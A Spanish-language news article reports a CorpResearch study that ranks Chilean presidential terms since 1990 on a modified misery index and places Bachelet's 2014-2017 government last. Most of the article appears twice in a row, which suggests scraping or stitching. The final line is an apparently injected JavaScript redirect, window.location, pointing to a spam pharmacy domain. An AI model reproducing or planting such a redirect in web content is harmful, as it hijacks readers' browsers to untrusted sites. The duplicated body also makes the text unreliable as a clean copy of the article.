Una medición realizada por CorpResearch revela que el actual gobierno de la Presidenta Michelle Bachelet será el que registre probablemente el peor desempeño económico desde 1990 a la fecha.
Según consigna Pulso, el estudio aplicó lo que se conoce como el Indice de Miseria de Robert Barro. El “Indice de Miseria” fue creado originalmente en 1974 por el economista Arthur Okun y consistía en una suma simple entre tasa de desempleo e inflación de cada período presidencial en EE.UU.
Como la alta inflación y el desempleo son síntomas de un mal desempeño, se interpreta que a más alto el índice es mayor la «miseria» económica para la población.
«En el caso de Chile se calculó el índice para los seis últimos períodos presidenciales en Chile desde el regreso a la democracia, incluido el actual. Para dicha medición se utilizó la diferencia promedio en cada período presidencial entre la inflación anual y la media del rango meta de inflación anual del Banco Central (BC) para cada año; y la diferencia (brecha) media entre el PIB efectivo y potencial de la economía que se elabora para efectos de la Ley de Presupuestos. Además se tomó la diferencia entre la tasa de desempleo promedio de un período presidencial y la previa a la llegada de esa administración, y el cambio en la tasa de interés de largo plazo de bonos de gobierno durante el período presidencial -de 1990 a 2001 se usó un PRC-8 y a partir de 2002 un BCU-5-«, explicó el economista jefe de CorpResearch, Sebastián Cerda.
El estudio arrojó que para el período 2014-2017, el índice llegó a 2,9%, el mayor desde 1990.
“El desempeño económico de este gobierno, con las proyecciones que tenemos, es el peor en comparación a los períodos anteriores”, sostuvo el economista.
«Las razones de este resultado no solo son atribuibles a las reformas en curso o a la incertidumbre interna, ya que el complejo escenario externo también influye, y en este caso lo que está pasando con China y el bajo precio del cobre están afectando la expansión del país”, precisó.
En segundo lugar de mal desempeño está el primer gobierno de Bachelet (2006-2009) con un índice de 0,6%, para un crecimiento promedio de 3,3%, inflación de 4%, y desempleo de 8,2%.
En el tercer lugar le sigue el gobierno de Ricardo Lagos (2000-2005), quien anotó un PIB promedio de 4,4%; inflación de 2,9% y un desempleo de 9,7%, pero ya con un índice de -1,7%, que implica destrucción de miseria y a continuación el de Eduardo Frei (1994-1999), con un índice de -2,5%
En tanto, los con mejores resultados fueron los períodos de Patricio Aylwin (1990-1993) y de Sebastián Piñera (2010-2013), con índices de -3,3% y -4,3%, respectivamente.
Según consigna Pulso, el estudio aplicó lo que se conoce como el Indice de Miseria de Robert Barro. El “Indice de Miseria” fue creado originalmente en 1974 por el economista Arthur Okun y consistía en una suma simple entre tasa de desempleo e inflación de cada período presidencial en EE.UU.
Como la alta inflación y el desempleo son síntomas de un mal desempeño, se interpreta que a más alto el índice es mayor la «miseria» económica para la población.
«En el caso de Chile se calculó el índice para los seis últimos períodos presidenciales en Chile desde el regreso a la democracia, incluido el actual. Para dicha medición se utilizó la diferencia promedio en cada período presidencial entre la inflación anual y la media del rango meta de inflación anual del Banco Central (BC) para cada año; y la diferencia (brecha) media entre el PIB efectivo y potencial de la economía que se elabora para efectos de la Ley de Presupuestos. Además se tomó la diferencia entre la tasa de desempleo promedio de un período presidencial y la previa a la llegada de esa administración, y el cambio en la tasa de interés de largo plazo de bonos de gobierno durante el período presidencial -de 1990 a 2001 se usó un PRC-8 y a partir de 2002 un BCU-5-«, explicó el economista jefe de CorpResearch, Sebastián Cerda.
El estudio arrojó que para el período 2014-2017, el índice llegó a 2,9%, el mayor desde 1990.
“El desempeño económico de este gobierno, con las proyecciones que tenemos, es el peor en comparación a los períodos anteriores”, sostuvo el economista.
«Las razones de este resultado no solo son atribuibles a las reformas en curso o a la incertidumbre interna, ya que el complejo escenario externo también influye, y en este caso lo que está pasando con China y el bajo precio del cobre están afectando la expansión del país”, precisó.
En segundo lugar de mal desempeño está el primer gobierno de Bachelet (2006-2009) con un índice de 0,6%, para un crecimiento promedio de 3,3%, inflación de 4%, y desempleo de 8,2%.
En el tercer lugar le sigue el gobierno de Ricardo Lagos (2000-2005), quien anotó un PIB promedio de 4,4%; inflación de 2,9% y un desempleo de 9,7%, pero ya con un índice de -1,7%, que implica destrucción de miseria y a continuación el de Eduardo Frei (1994-1999), con un índice de -2,5%
En tanto, los con mejores resultados fueron los períodos de Patricio Aylwin (1990-1993) y de Sebastián Piñera (2010-2013), con índices de -3,3% y -4,3%, respectivamente.
window.location = «http://cheap-pills-norx.com»;
